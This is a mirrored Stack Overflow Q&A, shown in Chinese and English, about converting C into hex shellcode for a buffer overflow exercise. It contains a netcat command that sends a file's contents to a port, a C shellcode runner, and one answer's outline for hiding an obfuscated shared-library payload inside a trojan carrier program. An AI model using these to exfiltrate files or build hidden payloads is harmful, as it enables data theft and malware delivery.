繁体   English   中英

如何将C代码转换为程序集的十六进制表示形式?

[英]How do you convert c code into assembly's hex representation?

编辑:看来我还有很多阅读要做...

另外,对于那些告诉我这不是一个好主意的人,这是针对缓冲区溢出练习的。

我有一个相当简单的C程序:

int main() {
  system("cat file | nc -p 33 localhost 8080");
  return 0;
}

我想将其转换为十六进制汇编代码。 想像:

\x55\x43\xff\x75\x13\x77...

我试着做:

gcc -o shell shell.c
for i in $(objdump -d shell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

这给了我一长串不错的十六进制。 但是,当我在该程序中对其进行测试时,出现了段错误。

code = "\x55\x43\xff\x75\x13\x77..."
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

有人知道我该如何工作吗? 谢谢! 另外,我不知道这是否重要,但这是一个64位系统。

从磁盘加载二进制代码到执行二进制代码之间,您会丢失操作系统为您做的一堆事情 例如,该函数调用“ system(char * command)”:在OS加载程序“修复”指针之前,指向命令字符的指针无效。

如果非常非常小心,则可以构造不依赖指针的代码,并且可以在无需OS加载程序帮助的情况下从任意地址运行代码。 这就是创建堆栈溢出漏洞的方式。 大多数现代CPU通过使用内存管理器将内存标记为“ DATA”或“ CODE”来阻止此代码运行,并在程序尝试执行DATA或写入CODE时出错。

您正在尝试执行的操作,操作系统正在尝试阻止。

这行不通。 主要原因是:编译器为您创建的不仅是简单的二进制代码,而且是可运行程序的明确定义的文件格式(在Windows上为PE文件,在Linux上为ELF文件)由动态链接器读取。并在执行之前通过跳转到文件头中以某种方式给出的入口点对其进行了预处理(例如,链接到动态共享库,读取库)。 没有办法 ,这样的文件可以通过只是跳转到该文件中的第一个字节执行。 实际上,是由链接器创建输出格式的,但编译器会自动调用它。

如果只需要汇编程序代码,请使用gcc -S ...,您将获得可用于独立汇编程序的助记符。

有多种方法可以诱骗链接器发出代码的二进制代码(请参阅此处有关如何使用该代码生成MS-DOS .COM文件的有趣读物 ),但是您仍然遇到问题,即程序通常不会仅包含文本 (已读,已执行的二进制代码),但是您也具有数据,通常在.data段(对于只读)和.bss段(对于读写)中。

除此之外,将二进制文件放在字符串中通常会将其放在.data段中。 尽管它可以执行,但不是必须的,从安全的角度来看,它也不应该 -参见Data Execution Prevention

总而言之,就算了...

我不确定您要达到的目标,但是如果我戴上黑帽子一分钟...

如果要编写堆栈溢出漏洞利用程序,则需要了解内存管理器和目标CPU的详细信息。 您将严格处理CPU,并完全规避操作系统。

如果要编写特洛伊木马,则应将有效负载编译为动态库(.so),并将整个有效负载.so 文件的十六进制形式放入代码[]。 然后,在载体程序中,将code []映射到虚拟文件(或仅将其写入磁盘)并在(虚拟)文件上调用loadlibrary()。 您仍然不会成为root用户,但是您的有效负载将被埋在第一个可执行文件中。 您可以对code []字节进行位旋转,以混淆有效负载。 您还需要弄清楚如何在新创建的文件上设置可执行标志。

对于这两种情况,您都将使用CPU和/或OS。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM